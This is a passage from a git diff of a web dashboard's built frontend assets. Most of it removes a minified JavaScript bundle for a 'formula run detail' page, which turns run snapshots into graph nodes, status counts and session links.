${e.snapshotEventSeq.seq}`:`v${e.snapshotVersion}`}function wi(e){return e.kind==="available"?`available for ${e.target}`:e.reason==="missing_formula_metadata"?null:e.reason==="missing_run_target"?`missing run target for ${e.name}`:`${e.failure} for ${e.target}`}function _i({detail:e}){if(e.completeness.kind!=="partial")return null;const r=Ni(e.completeness.reasons);return r.length===0?null:d.jsxs("p",{className:"mt-5 text-label uppercase tracking-wider text-warn",role:"status",children:["Partial run data: ",Si(r),"."]})}function Ni(e){return e.filter(r=>!ji(r))}function ji(e){switch(e){case"formula_detail_missing_formula_metadata":case"formula_detail_missing_run_target":case"formula_detail_fetch_failed":return!0;case"supervisor_snapshot_partial":case"runtime_bead_read_failed":case"session_list_failed":return!1}}function Si(e){return e.map(ki).join(", ")}function ki(e){switch(e){case"supervisor_snapshot_partial":return"supervisor snapshot is partial";case"runtime_bead_read_failed":return"runtime bead refresh failed";case"session_list_failed":return"session list failed";case"formula_detail_missing_formula_metadata":return"formula metadata is missing";case"formula_detail_missing_run_target":return"formula run target is missing";case"formula_detail_fetch_failed":return"formula detail fetch failed"}}function Ci(e){const r=e.getAll("scope_kind"),n=e.getAll("scope_ref");if(r.length>1||n.length>1)return{ok:!1,error:"Invalid run scope query."};const t=r[0],a=n[0];return t===void 0&&a===void 0?{ok:!0}:t===void 0||a===void 0?{ok:!1,error:"Invalid run scope query."}:t!=="city"&&t!=="rig"?{ok:!1,error:"Invalid run scope query."}:Hr.test(a)?{ok:!0,scope:{scopeKind:t,scopeRef:a}}:{ok:!1,error:"Invalid run scope query."}}function Ai(e){const r=[ne(e,["active","running"],"running"),ne(e,["completed","done"],"done"),ne(e,"ready","ready"),ne(e,"blocked","blocked"),ne(e,"failed","failed"),ne(e,"skipped","skipped"),ne(e,"pending","pending")].filter(n=>n!==null);return r.length>0?r.join(", "):"No node status yet"}function ne(e,r,n){const a=(typeof r=="string"?[r]:r).reduce((s,i)=>s+(e.statusCounts[i]??0),0);return a>0?`${a} ${n}`:null}export{Fi as FormulaRunDetailPage,gi as runDetailNudgeRefresh};
diff --git a/internal/api/dashboardspa/dist/assets/FormulaRunDetail-obe4GEA3.js b/internal/api/dashboardspa/dist/assets/FormulaRunDetail-obe4GEA3.js
deleted file mode 100644
index cfba3e53de..0000000000
--- a/internal/api/dashboardspa/dist/assets/FormulaRunDetail-obe4GEA3.js
+++ /dev/null
@@ -1,12 +0,0 @@
-import{Y as w,Z as O,_ as T,$ as wt,a0 as kt,a1 as pr,a2 as q,a3 as vr,a4 as br,a5 as hn,a6 as yr,j as d,r as A,S as _r,K as wr,a7 as kr,J as St,a8 as Sr,a9 as Nr,aa as Nt,b as jt,x as It,p as Ct,ab as jr,q as Ir,M as Cr,f as Ar,u as Er,ac as Dr,L as Tr,B as Rr,ad as Mr,I as Or,G as On}from"./index-fZITW1u7.js";import{P as $r}from"./PageHeader-BLycRKkQ.js";import{u as Pr,R as Fr,B as xr}from"./BeadDetailModal-sFRcKk2v.js";import{u as Br,S as Gr}from"./LiveSessionPeek-BIw38Xn5.js";import{S as $n}from"./StageLadder-DyvNM-62.js";import"./format-fte2CeYD.js";import"./Field-n7F8BpXe.js";import"./constants-D2ZRoVbf.js";import"./time-D9v0saHV.js";const nn=/^(gc|td|th|[a-z]{4})-[a-z0-9-]{1,32}$/,Lr=new Set(["completed","done","failed","skipped"]);function zr(e,t){const n=new Map(e.map(a=>[a.id,a])),r=Ur(t,n),s=new Map;for(const a of e)s.set(a.id,Kr(a,r.get(a.id)??[],n));return e.map(a=>{const i=s.get(a.id)??a.status;return i===a.status?a:{...a,status:i,executionInstances:a.executionInstances.map(u=>u.currentIteration!==!1&&u.status==="pending"?{...u,status:i}:u)}})}function Kr(e,t,n){return e.status!=="pending"?e.status:t.length===0||t.every(s=>{const a=n.get(s);return a?Lr.has(a.status):!1})?"ready":"blocked"}function Ur(e,t){const n=new Map;for(const r of e)!t.has(r.from)||!t.has(r.to)||n.set(r.to,[...n.get(r.to)??[],r.from]);return n}function Hr(e,t,n){const r=Pn(e.logical_edges??[],t,n);return r.length>0?r:Pn(e.deps??[],t,n,Wr(e))}function Pn(e,t,n,r=new Set){const s=new Set(n.filter(o=>o.visibleInGraph!==!1).map(o=>o.id)),a=Vr(e),i=new Set,u=[];for(const o of e){const c=w(o.from),l=w(o.to);if(!c||!l||w(o.kind)==="tracks")continue;const f=t.get(c)??O(c),h=t.get(l)??O(l),g=w(o.kind);if(s.has(f)&&s.has(h)){Et(u,i,f,h,g);continue}s.has(f)&&r.has(l)&&At({edges:u,seen:i,source:f,currentRawId:l,outgoing:a,visible:s,bridgeableHiddenIds:r,physicalToSemantic:t,...g!==void 0?{inheritedKind:g}:{}})}return u}function At({edges:e,seen:t,source:n,currentRawId:r,outgoing:s,visible:a,bridgeableHiddenIds:i,physicalToSemantic:u,inheritedKind:o,visited:c=new Set}){if(!c.has(r)){c.add(r);for(const l of s.get(r)??[]){const f=w(l.to);if(!f)continue;const h=w(l.kind);if(h==="tracks")continue;const g=u.get(f)??O(f),m=h??o;a.has(g)?Et(e,t,n,g,m):i.has(f)&&At({edges:e,seen:t,source:n,currentRawId:f,outgoing:s,visible:a,bridgeableHiddenIds:i,physicalToSemantic:u,...m!==void 0?{inheritedKind:m}:{},visited:c})}}}function Et(e,t,n,r,s){if(n===r)return;const a=s??"dependency",i=`${n}->${r}:${a}`;t.has(i)||(t.add(i),e.push({from:n,to:r,kind:a}))}function Vr(e){const t=new Map;for(const n of e){const r=w(n.from),s=w(n.to);!r||!s||t.set(r,[...t.get(r)??[],n])}return t}function Wr(e){const t=new Set;for(const n of e.beads??[]){const r=w(n.id);if(!r)continue;(w(n.metadata?.["gc.kind"])??w(n.kind))==="scope-check"&&t.add(r)}return t}function Zr(e){const t=new Map,n=new Map,r=new Map;for(const s of e){De(t,s.id,s),De(n,s.alias,s),De(n,s.title,s),De(n,s.session_name,s);const a=w(s.template);a&&r.set(a,[...r.get(a)??[],s])}return{byId:t,byName:n,byTemplate:r}}function Xr(e,t,n={}){if(t==="pending"||t==="ready")return;const r=w(e.assignee),s=Jr(e,r),a=Yr(e,r,s);if(!s&&!a)return;const i=Qr(s,a,r),u=es(i,n.sessionIndex);if(nn.test(u.sessionId))return u}function Jr(e,t){const n=T(e,"session_id")??T(e,"gc.session_id")??T(e,"gc.sessionId")??t;return qr(n)??n}function Yr(e,t,n){return T(e,"session_name")??T(e,"gc.session_name")??T(e,"gc.sessionName")??t??n}function Qr(e,t,n){const r=t??e??"";return{sessionId:e??t??"",sessionName:r,assignee:n??r}}function qr(e){const t=w(e);if(!t)return;if(nn.test(t))return t;const n=t.match(/(?:^|[-_/])((?:gc|td|th|[a-z]{4})-[a-z0-9-]{1,32})$/)?.[1];if(!(!n||!nn.test(n)))return n}function es(e,t){if(!t)return e;const n=ns(e,t);return n?ts(n,e):e}function ns(e,t){for(const n of[e.sessionId,e.sessionName,e.assignee]){const r=w(n);if(!r)continue;const s=t.byId.get(r)??t.byName.get(r)??rs(t.byTemplate.get(r)??[]);if(s)return s}return null}function ts(e,t){return{sessionId:e.id,sessionName:w(e.alias)??w(e.title)??w(e.session_name)??w(e.template)??t.sessionName,assignee:t.assignee||w(e.template)||w(e.alias)||w(e.title)||w(e.session_name)||e.id}}function rs(e){if(e.length===0)return null;const t=e.filter(n=>n.state==="active"||n.running===!0);return t.length===1?t[0]??null:e.length===1?e[0]??null:null}function De(e,t,n){const r=w(t);!r||e.has(r)||e.set(r,n)}function Dt(e){const t=(w(e.status)??"").toLowerCase(),n=T(e,"gc.outcome")?.toLowerCase();return t==="closed"||t==="completed"||t==="done"?n==="fail"||n==="failed"?"failed":n==="skipped"?"skipped":"completed":t==="in_progress"||t==="active"||t==="running"?"active":t==="blocked"?"blocked":t==="ready"?"ready":t==="failed"?"failed":t==="skipped"?"skipped":"pending"}function ss(e,t){return e.some(n=>gn(n.status))?"active":t?.status?t.status:"pending"}function gn(e){return e==="active"||e==="running"}function as(e,t,n,r={}){const s=e.beads.map((l,f)=>os(e.semanticNodeId,l,f,r)).sort(Tt),a=us(s),i=new Set(s.map(l=>$e(l.iteration)).filter(Ue)),u=(a?$e(a.iteration):void 0)??(i.size>0?Math.max(...i):void 0),o=e.loopControlNodeId!==void 0&&u!==void 0&&n!==void 0&&u<n;for(const l of s){const f=!o&&(u===void 0||$e(l.iteration)===u);l.currentIteration=f,l.historical=!f,l.session=l.session.kind==="attached"?{...l.session,streamable:f&&gn(l.status)}:l.session}if(a===void 0)throw new Error(`run node ${e.semanticNodeId} has no execution instances`);return{id:e.semanticNodeId,semanticNodeId:e.semanticNodeId,title:e.title,kind:e.kind,constructKind:e.constructKind,status:ss(s,a),currentBeadId:a.beadId,scope:gs(e.scopeRef),visibleInGraph:!o,historicalOnly:o,iterationSummary:ms(u,i.size,e.loopControlNodeId),attemptSummary:cs(s,e.beads),visibleExecutionInstanceId:a.id,executionInstances:s,controlBadges:t}}function is(e){const t=new Map;for(const n of e)if(n.loopControlNodeId)for(const r of n.beads){const s=wt(r);if(!Ue(s))continue;const a=t.get(n.loopControlNodeId);(a===void 0||s>a)&&t.set(n.loopControlNodeId,s)}return t}function os(e,t,n,r){const s=w(t.id);if(s===void 0)throw new Error(`run node ${e} has a bead with an empty id`);const a=wt(t),i=kt(t),u=Dt(t),o=Xr(t,u,r);return{id:s||`${e}:iteration-${a??0}:attempt-${i??n}`,semanticNodeId:e,beadId:s,iteration:ps(a),attempt:vs(i),label:hs(a,i),status:u,session:bs(u,o),currentIteration:!0,historical:!1}}function us(e){return[...e].sort(Tt).at(-1)}function Tt(e,t){return Fn(e.iteration)-Fn(t.iteration)||xn(e.attempt)-xn(t.attempt)||e.beadId.localeCompare(t.beadId)}function cs(e,t){const n=fs(e),r=ds(e),s=ls(t);return n===0&&s===void 0?{kind:"none"}:{kind:"tracked",count:Math.max(n,1),badge:s===void 0?{kind:"count-only"}:{kind:"bounded",label:s},active:r===void 0?{kind:"idle"}:{kind:"running",value:r}}}function ls(e){const t=e.map(r=>pr(r,"gc.max_attempts")).find(r=>r!==void 0);if(t===void 0)return;const n=new Set(e.map(kt).filter(Ue));return`${Math.max(n.size,1)}/${t}`}function fs(e){return new Set(e.map(n=>mn(n.attempt)).filter(Ue)).size}function ds(e){const t=e.find(n=>gn(n.status));return t?mn(t.attempt):void 0}function hs(e,t){return e!==void 0&&t!==void 0?`iteration ${e}, attempt ${t}`:e!==void 0?`iteration ${e}`:t!==void 0?`attempt ${t}`:"base"}function gs(e){return e===void 0?{kind:"run"}:{kind:"scoped",ref:e}}function ms(e,t,n){return e===void 0||t===0?{kind:"single"}:{kind:"stacked",visibleIteration:e,iterationCount:t,control:n===void 0?{kind:"unknown"}:{kind:"known",id:n}}}function ps(e){return e===void 0?{kind:"base"}:{kind:"loop",value:e}}function vs(e){return e===void 0?{kind:"untracked"}:{kind:"attempt",value:e}}function bs(e,t){return t!==void 0?{kind:"attached",link:t,streamable:!1}:{kind:"none",reason:e==="pending"||e==="ready"?"not_started":"session_unresolved"}}function $e(e){return e.kind==="loop"?e.value:void 0}function mn(e){return e.kind==="attempt"?e.value:void 0}function Fn(e){return $e(e)??0}function xn(e){return mn(e)??0}function Ue(e){return typeof e=="number"&&Number.isFinite(e)}function ys(e,t,n){const s=[...Bn(e),...t.flatMap(a=>Bn(a)),...Gn(e),...t.flatMap(a=>Gn(a)),w(n)].find(a=>a!==void 0);return s===void 0?{kind:"unavailable",reason:"missing_cwd_and_rig_root"}:{kind:"known",path:s}}function Bn(e){return[T(e,"gc.cwd"),T(e,"cwd"),T(e,"gc.work_dir"),T(e,"work_dir")]}function Gn(e){return[T(e,"gc.rig_root"),T(e,"rig_root")]}function _s(e,t,n){const r=ws(t);return r.size===0?[...e]:e.map((s,a)=>({group:s,index:a,rank:s.semanticNodeId===n?-1:ks(s,r,t?.name)})).sort((s,a)=>s.rank-a.rank||s.index-a.index).map(s=>s.group)}function ws(e){const t=e?.preview?.nodes??e?.steps??[],n=new Map;return t.forEach((r,s)=>{for(const a of js(r.id,e?.name))n.has(a)||n.set(a,s)}),n}function ks(e,t,n){let r=Number.POSITIVE_INFINITY;for(const s of Ss(e,n)){const a=t.get(s);a!==void 0&&a<r&&(r=a)}return r}function Ss(e,t){return[e.semanticNodeId,...e.beads.flatMap(n=>Ns(n,t))].flatMap(n=>pn(n))}function Ns(e,t){return[w(e.id),T(e,"gc.logical_bead_id")??w(e.logical_bead_id),T(e,"gc.step_id"),q(e)].filter(n=>n!==void 0).flatMap(n=>pn(n,t))}function js(e,t){return pn(e,t)}function pn(e,t){const n=w(e);if(!n)return[];const r=Is(n,t);return Cs([n,r,Ln(n),Ln(r)].map(s=>O(s)))}function Is(e,t){if(!t)return e;const n=`${t}.`;return e.startsWith(n)?e.slice(n.length):e}function Ln(e){return e.replace(/-scope-check$/,"").replace(/\.scope-check$/,"")}function Cs(e){return[...new Set(e)]}const As=new Set(["scope-check","run-finalize","spec"]);function vn(e){return As.has(e)||e==="control"}function Ne(e,t){const n=w(e.id);if(n&&n===t)return t;const r=T(e,"gc.logical_bead_id")??w(e.logical_bead_id);if(r)return O(r);const s=T(e,"gc.step_id");if(s)return O(s);const a=q(e);if(a){const i=Mt(a);if(i)return O(i)}return O(n??"run-node")}function Es(e,t){if(V(e,t)==="run-finalize")return t;const r=T(e,"gc.control_for");if(r){const i=zn(r);if(i)return O(i)}const s=q(e);if(!s)return null;const a=zn(s);return a?O(a):null}function V(e,t){const n=w(e.id);if(n&&n===t)return"run-root";switch(Rt(e)){case"ralph":return"check-loop";case"retry":return"retry";case"scope":case"epic":case"body":return"scope";case"fanout":return"fanout";case"condition":return"condition";case"expand":case"expansion":return"expansion";case"scope-check":return"scope-check";case"run-finalize":return"run-finalize";case"spec":return"spec";case"cleanup":return"control";default:return"step"}}function Ds(e,t){if(t==="check-loop")return"check-loop";const n=Rt(e);return n==="ralph"?"check-loop":n||t}function Ts(e,t){return Ps(w(e.title)??t.replace(/[-_]/g," "))}function Rs(e){switch(e){case"scope-check":return"scope check";case"run-finalize":return"finalize";case"check-loop":case"condition":case"control":case"expansion":case"fanout":case"retry":case"scope":case"spec":case"step":case"unknown":case"run-root":return e.replace(/-/g," ")}}function Ms(e){const t=T(e,"gc.scope_ref")??w(e.scope_ref),n=t?Kn(t,["iteration","run"]):void 0;if(n)return n;const r=q(e);if(r)return Kn(r,["iteration"])}function Rt(e){return T(e,"gc.kind")??T(e,"gc.original_kind")??w(e.kind)??""}function Mt(e){const t=e.split(".").filter(Boolean);if(t.length===0)return;const n=$s(t),r=n.lastIndexOf("iteration");return r>=0&&r<n.length-2&&xe(n[r+1])?n.at(-1):r===n.length-2&&xe(n[r+1])?n[r-1]:n.at(-1)}function zn(e){return Mt(Os(e))}function Os(e){return e.replace(/-scope-check$/,"").replace(/\.scope-check$/,"")}function $s(e){const t=e.at(-2),n=e.at(-1);return n&&t&&xe(n)&&(t==="attempt"||t==="run"||t==="check"||t==="eval")?e.slice(0,-2):e}function Kn(e,t){const n=e.split(".").filter(Boolean);for(const r of t){const s=n.findIndex((i,u)=>i===r&&xe(n[u+1]));if(s<=0)continue;const a=n[s-1];return a?O(a):void 0}}function xe(e){if(!e)return!1;const t=Number.parseInt(e,10);return String(t)===e&&t>0}function Ps(e){return/(^|[^A-Za-z0-9])ralph(?=$|[^A-Za-z0-9])/i.test(e)?e.replace(/[-_]+/g," ").replace(/(^|[^A-Za-z0-9])ralph(?=$|[^A-Za-z0-9])/gi,"$1check loop").replace(/\s+/g," ").trim():e}function Fs(e,t){const n=new Map,r=new Map,s=new Map,a=Hs(e),i=Ls(e,t,a),u=Ks(e,t,i,a);for(const o of e){const c=w(o.id)??"",l=V(o,t),f=i.get(o)?.semanticNodeId??Ne(o,t);if(r.set(c,f),vn(l)){const g=Es(o,t),m=Vs(o,t,u,g);if(m){const p=s.get(m)??[];p.push({id:c||`${m}-${l}`,label:Rs(l),status:Dt(o)}),s.set(m,p)}continue}const h=n.get(f)??[];h.push(o),n.set(f,h)}return{groups:[...n].map(([o,c])=>xs(o,c,t)),physicalToSemantic:r,badgesByTarget:s}}function xs(e,t,n){const r=Bs(t,n),s=V(r,n),a=Un(t,r,u=>T(u,"gc.scope_ref")??w(u.scope_ref)),i=Un(t,r,Ms);return{semanticNodeId:e,title:Ts(r,e),kind:Ds(r,s),constructKind:s,beads:t,...a!==void 0?{scopeRef:a}:{},...i!==void 0?{loopControlNodeId:i}:{}}}function Bs(e,t){const[n]=[...e].sort((r,s)=>{const a=Hn(V(s,t))-Hn(V(r,t));return a!==0?a:Be(r).localeCompare(Be(s))});if(!n)throw new Error("cannot build run node group from zero beads");return n}function Un(e,t,n){return n(t)??Gs(e).map(n).find($t)}function Hn(e){switch(e){case"run-root":return 100;case"check-loop":return 90;case"retry":return 80;case"condition":case"fanout":case"scope":case"expansion":return 70;case"step":return 10;case"control":case"run-finalize":case"scope-check":case"spec":case"unknown":return 0}}function Gs(e){return[...e].sort((t,n)=>Be(t).localeCompare(Be(n)))}function Be(e){return[w(e.id),q(e),w(e.title)].filter($t).join("\0")}function Ls(e,t,n){const r=new Map,s=new Map;for(const i of e){const u=V(i,t);if(vn(u))continue;const o=Ot(i,t,n),c=zs(i,t,o,n);r.set(i,{base:o,disambiguator:c});const l=c??o,f=s.get(o)??new Set;f.add(l),s.set(o,f)}const a=new Map;for(const i of e){const u=r.get(i)??{base:Ne(i,t),disambiguator:void 0},o=s.get(u.base),c=o&&o.size>1&&u.disambiguator?u.disambiguator:u.base;a.set(i,{...u,semanticNodeId:c})}return a}function Ot(e,t,n){const r=w(e.id);if(r&&r===t)return t;const s=T(e,"gc.logical_bead_id")??w(e.logical_bead_id);if(s)return O(s);const a=V(e,t);return(a==="check-loop"||a==="retry")&&r&&n.has(r)?O(r):Ne(e,t)}function zs(e,t,n,r){const s=w(e.id);return s&&r.has(s)&&O(s)===n?n:Pt(e,t)}function Ks(e,t,n,r){const s=new Map;for(const i of e){const u=V(i,t);if(vn(u))continue;const o=n.get(i),c=o?.semanticNodeId??Ne(i,t);for(const l of Us(i,t,c,o,r)){const f=s.get(l)??new Set;f.add(c),s.set(l,f)}}const a=new Map;for(const[i,u]of s)if(u.size===1){const[o]=[...u];o&&a.set(i,o)}return a}function Us(e,t,n,r,s){return[n,Ne(e,t),r?.base??Ot(e,t,s),r?.disambiguator,Pt(e,t),T(e,"gc.step_id"),bn(q(e)),w(e.id)].filter(a=>a!==void 0).map(a=>O(a))}function $t(e){return e!==void 0}function Hs(e){const t=new Set(e.map(r=>w(r.id)).filter(r=>r!==void 0)),n=new Set;for(const r of e){const s=T(r,"gc.logical_bead_id")??w(r.logical_bead_id);s&&t.has(s)&&n.add(s)}return n}function Vs(e,t,n,r){if(V(e,t)==="run-finalize")return t;for(const s of Ws(e,r)){const a=n.get(s);if(a)return a}return r}function Ws(e,t){return[T(e,"gc.control_for"),Zs(e),t??void 0].filter(n=>n!==void 0).flatMap(n=>{const r=Ge(n);return[n,r,O(r)]}).map(n=>O(n))}function Pt(e,t){const n=w(e.id);if(n&&n===t)return t;const r=T(e,"gc.logical_bead_id")??w(e.logical_bead_id);if(r)return O(r);const s=T(e,"gc.step_id");return s?O(s):bn(q(e))}function Zs(e){const t=T(e,"gc.control_for");return t?O(Ge(t)):bn(Ge(q(e)??""))}function bn(e){const t=w(e);if(!t)return;const n=Ge(t),r=n.split(".").filter(Boolean);if(r.length!==0)return r.length===1?O(r[0]??n):O(r.slice(1).join("."))}function Ge(e){return e.replace(/-scope-check$/,"").replace(/\.scope-check$/,"")}const Vn="__run";function Xs(e){const t=new Map;for(const n of e){const r=n.scope.kind==="scoped"?n.scope.ref:Vn,s=t.get(r)??{id:r,label:r===Vn?"Run":r,nodeIds:[]};s.nodeIds.push(n.id),t.set(r,s)}return[...t.values()]}function Js(e){const{groups:t,physicalToSemantic:n,badgesByTarget:r}=Fs(e.beads,e.rootBeadId),s=_s(t,e.formulaDetail,e.rootBeadId),a=is(s),i=Zr(e.sessions??[]),u={sessionIndex:i,scopeRef:e.scopeRef},o=s.map(k=>as(k,r.get(k.semanticNodeId)??[],a.get(k.loopControlNodeId??""),u)),c=Hr(e.raw,n,o),l=zr(o,c),f=ea(e.raw,l,c),h=Qs(e.root,e.formulaDetail),g=e.formulaDetailState??qs(e.root,e.formulaDetail),m=ys(e.root,e.beads,e.rigRoot),p=e.beads.map(Ys),v=vr(p),y=h.kind==="known"?h.name:null,_=br(v,y,p),b={raw:e.raw,runId:e.runId,rootBeadId:e.rootBeadId,rootStoreRef:e.rootStoreRef,resolvedRootStore:e.resolvedRootStore,scopeKind:e.scopeKind,scopeRef:e.scopeRef,title:e.root?.title.trim()||e.runId,formula:h,formulaDetail:g,executionPath:m,beads:e.beads,nodeGroups:s,physicalToSemantic:n,badgesByTarget:r,latestIterationByLoop:a,sessionIndex:i,sessionContext:u,nodes:l,edges:c,lanes:Xs(l),progress:f,phase:v.phase,stages:_};return e.root!==void 0&&(b.root=e.root),b}function Ys(e){const t=T(e,"gc.parent_bead_id"),n={id:e.id,title:e.title,status:e.status,issue_type:e.kind,updated_at:"",metadata:e.metadata};return e.assignee!==void 0&&(n.assignee=e.assignee),t!==void 0&&(n.parent=t),n}function Qs(e,t){const n=hn("state",{root:e,formulaDetail:t});if(n.name!==null){const r=n.source==="title_fallback"?"title_fallback":"metadata";return{kind:"known",name:n.name,source:r}}return{kind:"unavailable",reason:"missing_formula_metadata"}}function qs(e,t){const n=hn("detail",{root:e,formulaDetail:t}),r=n.name;if(r===null)return{kind:"unavailable",reason:"missing_formula_metadata"};const s=n.target;return s?t!==void 0?{kind:"available",name:r,target:s}:{kind:"unavailable",reason:"fetch_failed",name:r,target:s,failure:"upstream_error"}:{kind:"unavailable",reason:"missing_run_target",name:r}}function ea(e,t,n){const r=t.filter(o=>o.visibleInGraph),s=new Set;let a=0,i=0,u=0;for(const o of t)for(const c of o.executionInstances)a+=1,c.session.kind==="attached"&&(i+=1),c.session.kind==="attached"&&c.session.streamable&&(u+=1,s.add(c.session.link.sessionId));return{snapshotVersion:e.snapshot_version,snapshotEventSeq:na(e.snapshot_event_seq),snapshotPartial:e.partial,totalNodeCount:t.length,visibleNodeCount:r.length,edgeCount:n.length,executionInstanceCount:a,sessionLinkCount:i,streamableSessionCount:u,streamableSessionIds:[...s],statusCounts:Wn(r),allStatusCounts:Wn(t)}}function na(e){return typeof e=="number"?{kind:"known",seq:e}:{kind:"unavailable",reason:"supervisor_omitted"}}function Wn(e){const t={};for(const n of e)t[n.status]=(t[n.status]??0)+1;return t}class oe extends Error{reason;constructor(t,n="invalid_snapshot"){super(t),this.name="UnsupportedRunError",this.reason=n}}function ta(e,t){if(!ra(e))throw new oe("run is not a graph.v2 run","not_run_view");const n=w(e.root_bead_id)??"",r=w(e.run_id),s=w(e.root_store_ref),a=w(e.resolved_root_store),i=sa(Array.isArray(e.beads)?e.beads:[]),u=xt(i,n),o=yr(e);if(!r||!s||!a)throw new oe("run snapshot identity is missing or invalid");if(o===null)throw new oe("run scope is missing or invalid");if(!Number.isFinite(e.snapshot_version))throw new oe("run snapshot version is missing or invalid");if(typeof e.partial!="boolean")throw new oe("run partial flag is missing or invalid");const c={raw:e,runId:r,rootBeadId:n,rootStoreRef:s,resolvedRootStore:a,scopeKind:o.scopeKind,scopeRef:o.scopeRef,beads:i};u!==void 0&&(c.root=u),t.rigRoot!==void 0&&(c.rigRoot=t.rigRoot),t.sessions!==void 0&&(c.sessions=t.sessions),t.formulaDetail!==void 0&&(c.formulaDetail=t.formulaDetail),t.formulaDetailState!==void 0&&(c.formulaDetailState=t.formulaDetailState);const l=Js(c),f=e.partial?["supervisor_snapshot_partial"]:[];return{runId:r,rootBeadId:n,rootStoreRef:s,resolvedRootStore:a,scopeKind:o.scopeKind,scopeRef:o.scopeRef,title:l.title,formula:l.formula,formulaDetail:l.formulaDetail,executionPath:l.executionPath,snapshotVersion:e.snapshot_version,snapshotEventSeq:l.progress.snapshotEventSeq,completeness:Ft(f),progress:l.progress,phase:l.phase,stages:l.stages,nodes:l.nodes,edges:l.edges,lanes:l.lanes}}function Ft(e){const t=[...new Set(e)];return t.length===0?{kind:"complete"}:{kind:"partial",reasons:t}}function ra(e){const t=xt(Array.isArray(e.beads)?e.beads:[],e.root_bead_id);return T(t,"gc.formula_contract")==="graph.v2"}function xt(e,t){const n=w(t);if(n)return e.find(r=>w(r.id)===n)}function sa(e){const t=new Set,n=[];for(const r of e){const s=w(r.id);if(s){if(t.has(s))continue;t.add(s)}n.push(r)}return n}const Zn={pending:"pending",ready:"ready",running:"running",active:"running",done:"done",completed:"done",failed:"failed",blocked:"blocked",skipped:"skipped"};function aa({node:e,selected:t,onToggle:n}){const r=ua(e.constructKind),s=ca(e.status),a=e.iterationSummary.kind==="stacked"?`${e.iterationSummary.iterationCount} iterations, showing ${e.iterationSummary.visibleIteration}`:null,i=e.attemptSummary.kind==="tracked"&&e.attemptSummary.badge.kind==="bounded"?` · attempt ${e.attemptSummary.badge.label}${ia(e)}`:"";return d.jsxs("button",{type:"button","aria-pressed":t,onClick:()=>n(e.id),className:`focus-mark w-full text-left px-4 py-3 bg-transparent transition-colors duration-150 ease-out-quart ${r} ${t?"text-fg border-accent bg-surface-tint ring-2 ring-accent/45 ring-offset-2 ring-offset-surface":"text-fg border-rule hover:border-fg-faint hover:bg-surface-tint"}`,children:[d.jsxs("div",{className:"flex items-start justify-between gap-3",children:[d.jsxs("div",{children:[d.jsx("p",{className:"text-body text-fg leading-snug",children:e.title}),d.jsxs("p",{className:"mt-1 text-label uppercase tracking-wider text-fg-faint",children:[oa(e.constructKind),i]})]}),d.jsxs("span",{className:`text-label uppercase tracking-wider shrink-0 ${s}`,children:[la(e.status)," ",Zn[e.status]]})]}),a&&d.jsxs("p",{className:"mt-2 text-label uppercase tracking-wider text-fg-faint tnum",children:["stacked history: ",a]}),e.controlBadges.length>0&&d.jsx("div",{className:"mt-2 flex flex-wrap gap-2",children:e.controlBadges.map(u=>d.jsxs("span",{className:"text-label uppercase tracking-wider text-fg-muted border border-rule px-1.5 py-0.5",children:[u.label,": ",Zn[u.status]]},u.id))})]})}function ia(e){return e.attemptSummary.kind==="tracked"&&e.attemptSummary.active.kind==="running"?` · running attempt ${e.attemptSummary.active.value}`:""}function oa(e){switch(e){case"run-root":return"run root";case"run-finalize":return"finalize";case"step":case"retry":case"check-loop":case"scope":case"condition":case"fanout":case"expansion":case"scope-check":case"spec":case"control":case"unknown":return e.replace(/-/g," ")}}function ua(e){switch(e){case"run-root":return"formula-run-node-shape-root";case"step":case"unknown":return"formula-run-node-shape-step";case"retry":return"formula-run-node-shape-retry";case"check-loop":return"formula-run-node-shape-check-loop";case"scope":return"formula-run-node-shape-scope";case"condition":return"formula-run-node-shape-condition";case"fanout":return"formula-run-node-shape-fanout";case"expansion":return"formula-run-node-shape-expansion";case"scope-check":case"run-finalize":case"spec":case"control":return"formula-run-node-shape-control"}}function ca(e){switch(e){case"failed":case"blocked":return"text-accent";case"active":case"running":case"ready":return"text-fg";case"completed":case"done":return"text-fg-muted";case"pending":case"skipped":return"text-fg-faint"}}function la(e){switch(e){case"completed":case"done":return"✓";case"active":case"running":return"●";case"failed":case"blocked":return"!";case"skipped":return"∅";case"pending":case"ready":return"·"}}function fa({detail:e,selectedNodeId:t,onToggleNode:n}){const r=da(e),s=ha(e);return r.length===0?d.jsx("p",{className:"text-body text-fg-muted italic",children:"No graph nodes have materialized for this formula run."}):d.jsxs("section",{"aria-label":"Formula run graph",children:[d.jsx("div",{className:"flex items-baseline justify-between gap-4",children:d.jsx("h2",{className:"text-title text-fg",children:"Formula Graph"})}),d.jsx("ol",{className:"mt-5 space-y-3 relative",children:r.map((a,i)=>{const u=s.get(a.id),o=i>0?s.get(r[i-1]?.id??""):void 0,c=u!==void 0&&u!==o;return d.jsxs("li",{className:"relative pl-6",children:[c&&d.jsx("p",{className:"mb-1 text-label uppercase tracking-wider text-fg-faint",children:u}),i<r.length-1&&d.jsx("span",{"aria-hidden":"true",className:"absolute left-2 top-10 bottom-[-0.75rem] border-l border-rule"}),d.jsx("span",{"aria-hidden":"true",className:"absolute left-[0.3125rem] top-7 h-2 w-2 rounded-full bg-fg-faint"}),d.jsx(aa,{node:a,selected:t===a.id,onToggle:n})]},a.id)})})]})}function da(e){return e.nodes.filter(t=>t.visibleInGraph!==!1)}function ha(e){const t=new Map;for(const n of e.lanes)for(const r of n.nodeIds)t.set(r,n.label);return t}function Xn(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(s){return Object.getOwnPropertyDescriptor(e,s).enumerable}))),n.push.apply(n,r)}return n}function $(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?Xn(Object(n),!0).forEach((function(r){tn(e,r,n[r])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Xn(Object(n)).forEach((function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))}))}return e}function tn(e,t,n){return(t=(function(r){var s=(function(a,i){if(typeof a!="object"||a===null)return a;var u=a[Symbol.toPrimitive];if(u!==void 0){var o=u.call(a,i);if(typeof o!="object")return o;throw new TypeError("@@toPrimitive must return a primitive value.")}return(i==="string"?String:Number)(a)})(r,"string");return typeof s=="symbol"?s:String(s)})(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function he(e,t){if(e==null)return{};var n,r,s=(function(i,u){if(i==null)return{};var 